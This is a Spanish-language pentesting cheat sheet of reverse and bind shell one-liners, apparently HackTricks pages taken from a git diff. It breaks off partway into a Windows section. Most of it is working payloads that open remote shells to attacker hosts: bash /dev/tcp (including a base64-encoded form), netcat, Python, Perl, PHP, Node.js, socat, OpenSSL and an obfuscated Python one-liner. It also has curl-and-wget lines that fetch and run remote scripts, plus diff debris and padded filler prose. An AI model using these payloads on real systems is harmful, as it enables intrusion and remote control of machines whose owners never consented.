#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
|
||||
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
|
||||
```
|
||||
#### Explicación de Shell
|
||||
|
||||
1. **`bash -i`**: Esta parte del comando inicia una shell interactiva (`-i`) de Bash.
|
||||
2. **`>&`**: Esta parte del comando es una notación abreviada para **redirigir tanto la salida estándar** (`stdout`) **como el error estándar** (`stderr`) al **mismo destino**.
|
||||
3. **`/dev/tcp/<DIRECCIÓN-IP-DEL-ATAQUE>/<PUERTO>`**: Este es un archivo especial que **representa una conexión TCP a la dirección IP y puerto especificados**.
|
||||
* Al **redirigir las salidas de los flujos de datos a este archivo**, el comando envía efectivamente la salida de la sesión de shell interactiva a la máquina del atacante.
|
||||
4. **`0>&1`**: Esta parte del comando **redirige la entrada estándar (`stdin`) al mismo destino que la salida estándar (`stdout`)**.
|
||||
|
||||
### Crear en archivo y ejecutar
|
||||
```bash
|
||||
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
|
||||
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
|
||||
```
|
||||
## Shell hacia adelante
|
||||
|
||||
Puede haber casos en los que tenga una **RCE en una aplicación web en una máquina Linux**, pero debido a reglas de Iptables u otros tipos de filtrado, **no puede obtener una shell inversa**. Esta "shell" le permite mantener una shell PTY a través de esa RCE utilizando tuberías dentro del sistema víctima.\
|
||||
Puede encontrar el código en [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
|
||||
|
||||
Solo necesita modificar:
|
||||
|
||||
* La URL del host vulnerable
|
||||
* El prefijo y sufijo de su carga útil (si corresponde)
|
||||
* La forma en que se envía la carga útil (¿encabezados? ¿datos? ¿información adicional?)
|
||||
|
||||
Luego, simplemente puede **enviar comandos** o incluso **usar el comando `upgrade`** para obtener un PTY completo (tenga en cuenta que las tuberías se leen y escriben con un retraso aproximado de 1,3 segundos).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
nc -e /bin/sh <ATTACKER-IP> <PORT>
|
||||
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
|
||||
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
|
||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||
```
|
||||
## gsocket
|
||||
|
||||
Revísalo en [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
## Telnet
|
||||
|
||||
Telnet es un protocolo de red que permite la comunicación bidireccional utilizando un terminal de texto. Es utilizado para conectarse a un servidor remoto y ejecutar comandos en él. Telnet no es seguro, ya que la información se transmite en texto plano, lo que significa que cualquier persona que tenga acceso a la red puede interceptar y leer la información transmitida. Por esta razón, se recomienda utilizar SSH en su lugar, ya que proporciona una conexión segura y cifrada.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
|
||||
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
|
||||
```
|
||||
## Whois
|
||||
|
||||
**Atacante**
|
||||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
Para enviar el comando, escríbelo, presiona enter y luego presiona CTRL+D (para detener STDIN)
|
||||
|
||||
**Víctima**
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
## Python
|
||||
|
||||
Python es un lenguaje de programación interpretado y de alto nivel que se utiliza ampliamente en el hacking. Es fácil de aprender y tiene una gran cantidad de bibliotecas y módulos disponibles que pueden ser útiles para las tareas de hacking. Algunas de las bibliotecas más populares para el hacking son:
|
||||
|
||||
- **Requests**: una biblioteca para enviar solicitudes HTTP/HTTPS.
|
||||
- **BeautifulSoup**: una biblioteca para analizar HTML y XML.
|
||||
- **Scrapy**: un marco de trabajo para la extracción de datos web.
|
||||
- **Paramiko**: una biblioteca para la conexión SSH.
|
||||
- **Selenium**: una biblioteca para la automatización del navegador web.
|
||||
|
||||
Python también es útil para la creación de herramientas personalizadas de hacking. Algunas de las herramientas de hacking más populares escritas en Python son:
|
||||
|
||||
- **Metasploit**: un marco de trabajo para la explotación de vulnerabilidades.
|
||||
- **Nmap**: una herramienta de escaneo de puertos y detección de servicios.
|
||||
- **Scapy**: una herramienta para la creación y manipulación de paquetes de red.
|
||||
- **Hydra**: una herramienta para la fuerza bruta de contraseñas.
|
||||
- **John the Ripper**: una herramienta para la recuperación de contraseñas.
|
||||
|
||||
Python también se puede utilizar para la automatización de tareas de hacking, como la recopilación de información y la explotación de vulnerabilidades.
|
||||
```bash
|
||||
#Linux
|
||||
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
#IPv6
|
||||
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl es un lenguaje de programación interpretado de propósito general que se utiliza comúnmente en la creación de scripts y en el desarrollo de aplicaciones web. Es especialmente útil para el procesamiento de texto y la manipulación de archivos. Perl es compatible con una amplia variedad de sistemas operativos y es muy popular en la comunidad de hacking debido a su capacidad para realizar tareas complejas con facilidad.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby es un lenguaje de programación interpretado y orientado a objetos. Es muy popular en el desarrollo web y se utiliza en muchos frameworks como Ruby on Rails. También es utilizado en scripting y en la creación de herramientas de hacking. Ruby es fácil de leer y escribir, lo que lo hace una buena opción para aquellos que están comenzando en la programación.
|
||||
```bash
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## PHP
|
||||
|
||||
PHP es un lenguaje de programación popular para la creación de aplicaciones web dinámicas. Es ampliamente utilizado en la creación de sitios web y aplicaciones web, y es compatible con una variedad de sistemas operativos y servidores web. PHP también es compatible con una amplia variedad de bases de datos, lo que lo hace ideal para aplicaciones web que requieren acceso a bases de datos. Además, PHP es un lenguaje de código abierto, lo que significa que es gratuito y está disponible para su uso y modificación por parte de cualquier persona.
|
||||
```php
|
||||
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
|
||||
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
|
||||
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
|
||||
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
|
||||
// See https://security.stackexchange.com/a/198944 for more information
|
||||
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
|
||||
|
||||
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
|
||||
```
|
||||
## Java
|
||||
|
||||
Java es un lenguaje de programación popular utilizado en muchas aplicaciones empresariales y de servidor. Algunas técnicas de hacking comunes en aplicaciones Java incluyen la inyección de código y la manipulación de objetos Java. Es importante tener en cuenta que Java también se utiliza en muchos sistemas de seguridad, por lo que los hackers deben tener un conocimiento profundo del lenguaje para poder explotar con éxito las vulnerabilidades.
|
||||
```bash
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
## Ncat
|
||||
|
||||
Ncat es una herramienta de línea de comandos que permite la transferencia de datos a través de redes utilizando TCP, UDP, SSL y otras conexiones. Es una herramienta muy útil para la creación de backdoors y la transferencia de archivos de forma segura. Además, Ncat también puede ser utilizado para la creación de túneles y la redirección de puertos.
|
||||
```bash
|
||||
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
|
||||
attacker> ncat -v 10.0.0.22 4444 --ssl
|
||||
```
|
||||
## Golang
|
||||
|
||||
Golang es un lenguaje de programación de código abierto desarrollado por Google. Es conocido por su eficiencia y facilidad de uso en la creación de aplicaciones de alto rendimiento. Golang es especialmente popular en el desarrollo de aplicaciones de servidor y en la creación de herramientas de línea de comandos. Además, Golang tiene una biblioteca estándar muy completa que incluye funciones para la manipulación de cadenas, la gestión de archivos y la creación de servidores web.
|
||||
```bash
|
||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua es un lenguaje de programación interpretado, ligero y de propósito general. Es utilizado en muchos proyectos, incluyendo videojuegos, aplicaciones web y sistemas embebidos. Lua es conocido por su facilidad de integración con otros lenguajes y por su eficiencia en tiempo de ejecución. Además, es altamente personalizable y extensible, lo que lo hace una opción popular para scripting en juegos y aplicaciones.
|
||||
```bash
|
||||
#Linux
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
#Windows & Linux
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## NodeJS
|
||||
|
||||
NodeJS es un entorno de tiempo de ejecución de JavaScript que se utiliza para construir aplicaciones de red escalables. NodeJS se basa en el motor V8 de Google Chrome y permite a los desarrolladores escribir aplicaciones en JavaScript tanto en el lado del cliente como en el del servidor. NodeJS es muy popular en el desarrollo de aplicaciones web y se utiliza en muchos proyectos de código abierto.
|
||||
```javascript
|
||||
(function(){
|
||||
var net = require("net"),
|
||||
cp = require("child_process"),
|
||||
sh = cp.spawn("/bin/sh", []);
|
||||
var client = new net.Socket();
|
||||
client.connect(8080, "10.17.26.64", function(){
|
||||
client.pipe(sh.stdin);
|
||||
sh.stdout.pipe(client);
|
||||
sh.stderr.pipe(client);
|
||||
});
|
||||
return /a/; // Prevents the Node.js application form crashing
|
||||
})();
|
||||
|
||||
|
||||
or
|
||||
|
||||
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
|
||||
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
|
||||
|
||||
or
|
||||
|
||||
-var x = global.process.mainModule.require
|
||||
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
|
||||
|
||||
or
|
||||
|
||||
// If you get to the constructor of a function you can define and execute another function inside a string
|
||||
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
|
||||
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
|
||||
|
||||
|
||||
or
|
||||
|
||||
// Abuse this syntax to get a reverse shell
|
||||
var fs = this.process.binding('fs');
|
||||
var fs = process.binding('fs');
|
||||
|
||||
or
|
||||
|
||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||
```
|
||||
## OpenSSL
|
||||
|
||||
El Atacante (Kali)
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
El objetivo
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
||||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## **Socat**
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Shell de enlace
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
```
|
||||
### Shell inversa
|
||||
```bash
|
||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
## Awk
|
||||
|
||||
Awk es una herramienta de procesamiento de texto que se utiliza para buscar y manipular patrones en archivos de texto. Es especialmente útil para extraer información de archivos de registro y otros archivos de texto estructurados. Awk se ejecuta en la línea de comandos y utiliza una sintaxis similar a la de C.
|
||||
|
||||
La sintaxis básica de Awk es la siguiente:
|
||||
|
||||
```
|
||||
awk '/patrón/ {acción}' archivo
|
||||
```
|
||||
|
||||
Donde `/patrón/` es el patrón que se busca en el archivo y `{acción}` es la acción que se realiza cuando se encuentra el patrón. Por ejemplo, para imprimir todas las líneas que contienen la palabra "error" en un archivo llamado `log.txt`, se puede utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
awk '/error/ {print}' log.txt
|
||||
```
|
||||
|
||||
También se pueden utilizar variables en Awk para almacenar valores y realizar cálculos. Por ejemplo, para sumar todos los valores en la tercera columna de un archivo CSV, se puede utilizar el siguiente comando:
|
||||
|
||||
```
|
||||
awk -F ',' '{sum += $3} END {print sum}' archivo.csv
|
||||
```
|
||||
|
||||
En este comando, `-F ','` especifica que el separador de campo es una coma, `$3` se refiere al tercer campo en cada línea y `END` indica que la acción se realiza después de que se hayan procesado todas las líneas del archivo.
|
||||
|
||||
Awk es una herramienta muy poderosa y versátil que puede ser utilizada para una amplia variedad de tareas de procesamiento de texto.
|
||||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
## Finger
|
||||
|
||||
**Atacante**
|
||||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
Para enviar el comando, escríbelo, presiona enter y luego presiona CTRL+D (para detener STDIN)
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
||||
|
||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||
```
|
||||
## Gawk
|
||||
|
||||
Gawk es una herramienta de procesamiento de texto que se utiliza para buscar y manipular patrones en archivos de texto. Es una versión mejorada de awk, que es una herramienta de línea de comandos que se utiliza para procesar archivos de texto. Gawk es una herramienta muy poderosa que se utiliza comúnmente en la línea de comandos de Linux para realizar tareas de procesamiento de texto complejas.
|
||||
|
||||
Algunos de los usos comunes de Gawk incluyen la búsqueda y manipulación de archivos de registro, la extracción de datos de archivos de texto y la generación de informes a partir de datos de texto. Gawk también se puede utilizar para procesar archivos CSV y otros formatos de archivo de texto.
|
||||
|
||||
Gawk utiliza una sintaxis similar a la de awk, pero tiene muchas características adicionales que lo hacen más poderoso y flexible. Algunas de las características adicionales de Gawk incluyen la capacidad de procesar expresiones regulares más complejas, la capacidad de procesar múltiples archivos de entrada y la capacidad de procesar archivos binarios.
|
||||
|
||||
En resumen, Gawk es una herramienta muy útil para cualquier persona que necesite procesar archivos de texto en la línea de comandos de Linux. Con su sintaxis fácil de usar y sus características adicionales, Gawk puede ayudar a automatizar muchas tareas de procesamiento de texto y ahorrar tiempo y esfuerzo.
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
BEGIN {
|
||||
Port = 8080
|
||||
Prompt = "bkd> "
|
||||
|
||||
Service = "/inet/tcp/" Port "/0/0"
|
||||
while (1) {
|
||||
do {
|
||||
printf Prompt |& Service
|
||||
Service |& getline cmd
|
||||
if (cmd) {
|
||||
while ((cmd |& getline) > 0)
|
||||
print $0 |& Service
|
||||
close(cmd)
|
||||
}
|
||||
} while (cmd != "exit")
|
||||
close(Service)
|
||||
}
|
||||
}
|
||||
```
|
||||
## Xterm
|
||||
|
||||
Una de las formas más simples de shell inverso es una sesión de xterm. El siguiente comando debe ejecutarse en el servidor. Intentará conectarse de vuelta a ti (10.0.0.1) en el puerto TCP 6001.
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Para capturar el xterm entrante, inicie un servidor X (:1 - que escucha en el puerto TCP 6001). Una forma de hacerlo es con Xnest (que se ejecutará en su sistema):
|
||||
```bash
|
||||
Xnest :1
|
||||
```
|
||||
Necesitarás autorizar al objetivo para que se conecte contigo (el comando también se ejecuta en tu host):
|
||||
```bash
|
||||
xhost +targetip
|
||||
```
|
||||
## Groovy
|
||||
|
||||
por [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: El shell inverso de Java también funciona para Groovy.
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
String cmd="cmd.exe";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
## Bibliografía
|
||||
|
||||
{% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %}
|
||||
|
||||
{% embed url="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell" %}
|
||||
|
||||
{% embed url="https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/" %}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -1,578 +0,0 @@
|
|||
# Shells - Windows
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Lolbas
|
||||
|
||||
La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows lo que [https://gtfobins.github.io/](https://gtfobins.github.io/) es para Linux.\
|
||||
Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acción inesperada como **ejecutar código arbitrario**.
|
||||
|
||||
## NC
|
||||
```bash
|
||||
nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
||||
```
|
||||
## SBD
|
||||
|
||||
**sbd** es un clon de Netcat, diseñado para ser portátil y ofrecer una fuerte encriptación. Se ejecuta en sistemas operativos similares a Unix y en Microsoft Win32. sbd cuenta con encriptación AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), ejecución de programas (opción -e), elección del puerto fuente, reconexión continua con retraso y algunas otras características interesantes. sbd solo admite comunicación TCP/IP. sbd.exe (parte de la distribución de Kali Linux: /usr/share/windows-resources/sbd/sbd.exe) se puede cargar en una máquina con Windows como alternativa a Netcat.
|
||||
```bash
|
||||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl es un lenguaje de programación interpretado que se utiliza a menudo en la creación de scripts y en la automatización de tareas. Es especialmente útil para la manipulación de texto y la gestión de archivos. Perl se ejecuta en una amplia variedad de sistemas operativos y es compatible con muchas bibliotecas y módulos de terceros. Además, Perl es un lenguaje muy popular en el mundo de la seguridad informática debido a su capacidad para manipular datos y realizar tareas complejas de forma rápida y eficiente.
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
Ruby es un lenguaje de programación interpretado y orientado a objetos. Es muy popular en el mundo de la programación web y se utiliza en muchos frameworks como Ruby on Rails. También es utilizado en herramientas de hacking como Metasploit. Ruby es fácil de leer y escribir, lo que lo hace ideal para la creación de scripts y herramientas de hacking personalizadas. Además, tiene una gran cantidad de bibliotecas y gemas disponibles que pueden ser utilizadas para simplificar el proceso de hacking.
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## OpenSSH
|
||||
|
||||
Atacante (Kali)
|
